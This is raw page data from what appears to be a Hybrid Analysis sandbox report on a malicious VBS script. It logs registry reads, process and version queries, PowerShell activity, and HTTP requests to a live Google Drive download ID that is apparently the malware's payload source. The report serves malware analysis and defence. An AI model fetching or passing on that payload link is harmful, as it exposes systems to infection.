24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 58:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T47e,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious VBS/Agent.CTZ Sample 4574fb6323e8… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 4574fb6323e8…. Malware family: VBS/Agent.CTZ. Threat score 100/100. 1/26 AV engines flagged this file. 2 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/4574fb6323e861d9415d00bd4d031f8675f55382d1c3b6685c9de792fa6dd986","keywords":["Malicious","VBS/Agent.CTZ","malware analysis","sandbox report","threat intelligence","4574fb6323e861d9415d00bd4d031f8675f55382d1c3b6685c9de792fa6dd986"],"about":{"@type":"SoftwareApplication","name":"Gennembldes.vbs","applicationCategory":["script","vbs"],"identifier":"4574fb6323e861d9415d00bd4d031f8675f55382d1c3b6685c9de792fa6dd986","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"VBS/Agent.CTZ","antivirusDetections":{"malicious":1,"total":26},"behavioralIndicators":{"malicious":2,"suspicious":12},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T779,Found string "Format-Custom" (Indicator: "Format-Custom"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "file, use Export-Console in Windows PowerShell." (Indicator: "Export-Console"; Source: "00000000-00006400.00000000.147073.04880000.00000004.mdmp") Found string "# Format-Hex cmdlet helps in displaying the Hexadecimal equivalent of the input data." (Indicator: "Format-Hex"; Source: "00000000-00006400.00000000.147073.06E40000.00000004.mdmp, 00000000-00006400.00000001.148995.06E40000.00000004.mdmp, 00000000-00006400.00000001.148995.08990000.00000004.mdmp, 00000000-00006400.00000002.150913.06E40000.00000004.mdmp, 00000000-00006400.00000002.150913.08990000.00000004.mdmp") Found string "function Format-Hex" (Indicator: "Format-Hex"; Source: "00000000-00006400.00000001.148995.08990000.00000004.mdmp, 00000000-00006400.00000002.150913.08990000.00000004.mdmp")26:T9fb,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS") "WScript.exe" (Access type: "QUERY"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP\") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP\") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP\") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP\") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\PROGID") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\PROGID") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\PROGID") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\PROGID") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_INITIALIZE_URLACTION_SHELLEXECUTE_TO_ALLOW_KB936610") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_INITIALIZE_URLACTION_SHELLEXECUTE_TO_ALLOW_KB936610") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_LOCALMACHINE_LOCKDOWN") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_LOCALMACHINE_LOCKDOWN") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_LOCALMACHINE_LOCKDOWN") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_LOCALMACHINE_LOCKDOWN") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\INTERNET EXPLORER") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\INTERNET EXPLORER")27:Ta0e,"WScript.exe" queried SystemProcessInformation at 00000000-00006820-00000C15-1270786464 [PID: 6820] "WScript.exe" queried SystemProcessInformation at 00000000-00006820-00000C15-1270794810 [PID: 6820] "WScript.exe" queried SystemProcessInformation at 00000000-00006820-00000C15-1271216333 [PID: 6820] "WScript.exe" queried SystemProcessInformation at 00000000-00006820-00000C15-1271225652 [PID: 6820] "WScript.exe" queried SystemProcessInformation at 00000000-00006820-00000C15-1271385907 [PID: 6820] "WScript.exe" queried SystemProcessInformation at 00000000-00006820-00000C15-1271394277 [PID: 6820] "WScript.exe" queried SystemProcessInformation at 00000000-00006820-00000C15-1272301632 [PID: 6820] "WScript.exe" queried SystemProcessInformation at 00000000-00006820-00000C15-1272310723 [PID: 6820] "powershell.exe" queried SystemProcessInformation at 00000000-00007432-00000C15-1274318400 [PID: 7432] "powershell.exe" queried SystemProcessInformation at 00000000-00007432-00000C15-1274326183 [PID: 7432] "powershell.exe" queried SystemProcessInformation at 00000000-00007432-00000C15-1275780077 [PID: 7432] "powershell.exe" queried SystemProcessInformation at 00000000-00007432-00000C15-1275788535 [PID: 7432] "powershell.exe" queried SystemProcessInformation at 00000000-00007432-00000C15-1276731402 [PID: 7432] "powershell.exe" queried SystemProcessInformation at 00000000-00007432-00000C15-1276738953 [PID: 7432] "powershell.exe" queried SystemProcessInformation at 00000000-00007432-00000C15-1276815092 [PID: 7432] "powershell.exe" queried SystemProcessInformation at 00000000-00007432-00000C15-1276823349 [PID: 7432] "powershell.exe" queried SystemProcessInformation at 00000000-00007432-00000C15-1277100503 [PID: 7432] "powershell.exe" queried SystemProcessInformation at 00000000-00007432-00000C15-1277109675 [PID: 7432] "powershell.exe" queried SystemProcessInformation at 00000000-00007432-00000C15-1277492900 [PID: 7432] "powershell.exe" queried SystemProcessInformation at 00000000-00007432-00000C15-1278710655 [PID: 7432] "powershell.exe" queried SystemProcessInformation at 00000000-00007432-00000C15-1278719340 [PID: 7432] "powershell.exe" queried SystemProcessInformation at 00000000-00007432-00000C15-1279689130 [PID: 7432] "powershell.exe" queried SystemProcessInformation at 00000000-00007432-00000C15-1279696707 [PID: 7432] "powershell.exe" queried SystemProcessInformation at 00000000-00007432-00000C15-1282664823 [PID: 7432] "powershell.exe" queried SystemProcessInformation at 00000000-00007432-00000C15-1282672709 [PID: 7432]28:T12ec,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUvSVTZwxcxUqDUoxiH97RfI559SygghV6MIIEuzCCA6OgAwIBAgITMwAAAF3JyvZpIzdoUAAAAAAAXTANBgkqhk" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"}29:T416,Contains base64 string in header "download" in header "GET /uc?export=download&id=1e8u8gM7HeIZkb-txWPOgtbHsbilRj5vn HTTP/1.1User-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0Host: drive.google.comConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /uc?export=download&id=1e8u8gM7HeIZkb-txWPOgtbHsbilRj5vn HTTP/1.1User-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0Host: drive.google.comConnection: Keep-Alive" Contains base64 string in header "download" in header "GET /download?id=1e8u8gM7HeIZkb-txWPOgtbHsbilRj5vn&export=download HTTP/1.1User-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0Host: drive.usercontent.google.comConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /download?id=1e8u8gM7HeIZkb-txWPOgtbHsbilRj5vn&export=download HTTP/1.1User-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0Host: drive.usercontent.google.comConnection: Keep-Alive"2a:T18a4,"WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006820) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006820) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac2170ff7f0000000000000000000051eddc71ff7f000000000000c20100000000000000000000f197ec749a4f00002a00000000000000e0b9f842c20100008fecdc71ff7f0000e0ac2170ff7f0000e0ac2170ff7f0000000000000000000000000000ff7f0000ffffff7fa6b9000000000000000000000000000000000000d8ce1570ff7f00002a0000000000000069c3ce6fff7f00003100000000000000dc02000000000000e0020000000000001100011000000000e0ccafe85900000003a3bb6fff7f0000e0ccafe85900000000000000000000002b00000000000000000000000000000020b0d46fff7f0000b43fd36fff7f0000e0ce1570 (UID: 00000000-00006820) "WScript.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006820) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000000000000000000000ccc4afe8590000001000000000000400d682700e89440000503ab471ff7f0000000000000000000098edb871ff7f0000a0d4afe85900000020e5bf71ff7f00000000000000000000e8d2afe8590000000000000000000000000000000000000010d2afe85900000080d09771ff7f0000c00000000000004600000000000031003200300037003300360031003000300098edb871ff7f000050d1afe859000000a18cec749a4f000000000000000000000000000000000000b0ccafe859000000020000000000000017d6d871ff7f0000de976f6df2cd000070d2afe8590000007192ec749a4f00005bca5b6eff7f000030d8afe8 (UID: 00000000-00006820) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000400000000000000000000c43c20100000b8eda71ff7f000000000c43c201000002000000c20100003800000000000000400000000000000030030c43c201000068d6afe85900000001000000000000000300000000000000010000000000000016000000000000002010f042c201000000000000000000000000f042c2010000c0036d45c201000000000000000000007f030000010000000000000000000000800000000000000004000000000000000000000000000000e80a6d45c201000004000000000000003800000000000000f098ba6fff7f000038000000000000003800000000000000e0d7afe859000000c00c8e41ff7f000000000000 (UID: 00000000-00006820) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b05850ff7f0000070000000000000000000000000000000100000000000000a03e5c45c20100000000000000000000c0cb6345c20100004c98ba6fff7f000080bf6345c2010000b3ce8441ff7f000050ce6345c2010000004f5850ff7f0000d0b05850ff7f00000000000000000000000000000000000050ce6345c2010000a03e5c45c2010000a0d46345c201000038d8afe8590000004c98ba6fff7f0000010000000000000038d8afe859000000a0d46345c201000050ce6345c2010000010000000000000002bc8441ff7f000070cf6345c201000090e55c45c2010000feffffff040000007df05750ff7f0000a0d76345 (UID: 00000000-00006820) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000070000000000000000000000000000000100000000000000a03e5c45c20100000000000000000000c0cb6345c20100004c98ba6fff7f000000ca6345c2010000b3ce8441ff7f000000d06345c2010000384f5850ff7f0000d0b05850ff7f00000000000000000000000000000000000000d06345c2010000a03e5c45c2010000a0d46345c201000030d8afe8590000004c98ba6fff7f0000010000000000000030d8afe859000000a0d46345c201000000d06345c2010000010000000000000002bc8441ff7f0000000000000000000090e55c45c201000070cf634504000000feffffffffffffffa03e5c45c20100007df05750ff7f000000000000 (UID: 00000000-00006820) "WScript.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006820) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000002ae41b6eff7f0000400000000000000000000000590000000000000200000000000000000000000030aa5fe959000000a8aa5fe9590000000000000000000000000000000000000050ae5fe959000000c000e6010000000090ab5fe9590000003000000059000000000000000000000048aa5fe95900000040000000000000000000000000000000000000000000000000000000ff7f00000000000000000000520700000000000001000000000000000000000000000000b0ae5fe9590000000000000000000000000000000000000004000000ff7f0000000000000000000000000000000000000000000000000000ffffffff5900000000000000 (UID: 00000000-00006820)2b:T1612,"WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000001800000000000000f4fa6dc4a49d000001a4ec749a4f00000600000000000000000009ddf77f0000a4024f53ff7f000006000000c2010000d8f1256fff7f000010f9afe85900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009dd (UID: 00000000-00006820) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000cf2afe8590000000000000000000000c0f5afe85900000048f6f842c201000020ecafe85900000000000000000000004ef71d6eff7f00000cf2afe8590000000000000000000000000000000000000099dd256fff7f00000000000000000000b0ebafe859000000c0ebafe859000000010000005900000000000000 (UID: 00000000-00006820) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000004e7b1e6eff7f00000000e94fff7f0000000000000000000000000000000000000806ea4fff7f00000001000000000000f098ba6fff7f00000001000000000000000100000000000000000000000000000006ea4fff7f000001000000000000000f18e94fff7f000000000000000000000006ea4fff7f000000000000 (UID: 00000000-00006820) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f00009c31134eff7f0000708b154eff7f00000200000000000000708b154eff7f000000000000000000000300000000000000b131134eff7f0000a815164eff7f0000c02f5e45c2010000d02f5e45c2010000888b154eff7f00000100000000000000239fbc6fff7f00000000000000000000888b154eff7f000006000000 (UID: 00000000-00006820) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000303db44aff7f0000c0feb54aff7f00000400000000000000c0feb54aff7f000000000000000000000500000000000000453db44aff7f0000286ab64aff7f0000be5a1f6eff7f0000f8305e45c201000094b96dc4a49d0000b08e1f6eff7f0000239fbc6fff7f00000100000000000000d132b44aff7f00000000186e (UID: 00000000-00006820) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000be5a1f6eff7f00000000d84fff7f000000000000000000000000000000000000883fd94fff7f00000001000000000000f098ba6fff7f0000000100000000000000010000000000000000000000000000803fd94fff7f00000100000000000000bf10d84fff7f00000000000000000000803fd94fff7f000000000000 (UID: 00000000-00006820) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e0065007800650000005c006d0061006300680069006e0065002e00630005000005719c0000d059fca4 (UID: 00000000-00007432) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000201411a77201000000000000000000000300000000000000c467914fff7f00001000000000000000100000000000000050ea80f25300000080000000000000001000000000000000a169a44fff7f000000000000 (UID: 00000000-00007432) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000f8e2afbf72010000f8e2afbf720100000000000000000000c4bd5cf253000000d8be5cf253000000060000000000000034be5cf2530000000000000000000000c467914fff7f000010000000000000001000000000000000100000000000000000000000000000001000000000000000a169a44fff7f000048a3b4bf (UID: 00000000-00007432) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000004000000072010000b005adbf7201000006000000000000000300000000000000704d44a872010000201411a7720100000000000000000000c467914fff7f000010000000000000001000000000000000030000000000000060bf5cf2530000001000000000000000a169a44fff7f000000000000 (UID: 00000000-00007432) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006f006e0000005c006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b005c00760034002e0030002e00330030003300310039005c0063006f006e00660069006700050000053e39000088905200288d52002e0063006f006e006600690067000000085e5200 (UID: 00000000-00006400) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000092008000000000000000a11400000ccf5609ee13c37780000000ee13c377000000000000000080000000f062146f000000002ccf56095072b477000092000000000080000000f062146f02000000002f146f48cf5609fb62146f010000008004156f885fb67700000000a4413ac578cf5609b864146ff42e146f (UID: 00000000-00006400) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000002812880400005200000400001800000000000000000000000300000002000000000052000c000000000000000000000064f19909ee13c37728128804ee13c37700000000000000000c0000002830ef06010000007cf1990928237c7200005200000000000c000000c495110588f199092f99ea6e0c000000 (UID: 00000000-00006400) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000000000000000005200000000001800000000000000000000000300000002000000000052000c00000000000000a67099fa8cd35609ee13c37700000000ee13c37700000000000000000c000000ffffd26eb4da9d08a4d3560928237c7200005200000000000c000000b014d06eb0d356092f99ea6e0c000000 (UID: 00000000-00006400) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000016c3770c000000000000000000000000005200c0d456091800000000000000000000000300000002000000000052000c0000000000000064d4560968d45609ee13c37700000000ee13c37700000000000000000c00000096ff084c80d4560928237c7200005200000000000c00000030a5ea6e8cd456092f99ea6e0c000000 (UID: 00000000-00006400)2c:T598,"WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME")2d:Te24,"WScript.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "WScript.exe" (Access type: 